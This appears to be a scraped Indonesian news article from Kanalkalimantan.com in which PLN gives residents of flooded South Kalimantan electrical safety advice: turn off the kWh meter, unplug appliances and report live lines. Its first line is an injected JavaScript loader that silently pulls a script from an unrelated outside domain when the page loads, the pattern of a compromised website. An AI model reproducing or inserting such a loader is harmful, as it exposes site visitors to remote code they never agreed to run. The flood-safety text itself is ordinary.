(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Memasuki pertengahan Januari 2021, curah hujan menunjukkan intensitas yang tinggi sehingga mengakibatkan sebagian besar wilayah di Provinsi Kalimantan Selatan mengalami bencana banjir.
Mengantisipasi hal yang tidak diinginkan akibat dampak banjir terhadap keselamatan masyarakat terkait dengan arus listrik, PT PLN (Persero) Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah (UIW Kalselteng) mengimbau masyarakat untuk mengambil langkah cepat pengamanan kelistrikan.
Manager Komunikasi PLN UIW Kalselteng, Suhadi mengatakan langkah pengamanan kelistrikan yang dapat dilakukan terlebih dahulu oleh Pelanggan adalah memutus aliran listrik yang terhubung ke rumah atau bangunan milik Pelanggan, dengan cara mematikan kWh Meter.
“Langkah pertama Pelanggan dapat mematikan kWh Meter terlebih dahulu, ini harus segera dilakukan jika air sudah masuk ke rumah Pelanggan,” jelasnya, Kamis (14/1/2021).
Selanjutnya setelah melakukan pemutusan aliran listrik, Suhadi menjelaskan Pelanggan dapat mengamankan alat elektronik yang masih terhubung ke arus listrik. Terutama alat elektronik yang posisi stop kontak berada di bawah.
“Setelah mematikan kWh Meter, barulah Pelanggan dapat mengamankan alat elektronik. Cabut semua stop kontak yang masih terhubung dengan arus listrik, dan letakkan alat elektronik ke tempat yang lebih tinggi,” tambah Suhadi.
Lebih lanjut Suhadi mengimbau apabila debit air semakin tinggi dan Pelanggan mendapat informasi arus listrik belum dipadamkan oleh PLN, maka Pelanggan dapat melaporkan hal tersebut melalui layanan Contact Center PLN 123 atau melalui Aplikasi New PLN Mobile.
“PLN berkomitmen akan terus melakukan patroli pemantauan situasi dan kondisi debit air di titik lokasi terdampak banjir, jika air semakin tinggi kami akan berupaya secepat mungkin memutus aliran listrik ke Pelanggan. Akan tetapi jika masyarakat lebih dulu melihat debit air semakin tinggi dan aliran listrik masih menyala, masyarakat diimbau untuk melapor ke PLN melalui layanan Contact Center PLN 123 atau Aplikasi New PLN Mobile,” pungkas Suhadi. (Kanalkalimantan.com/ril)
Reporter: Ril
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.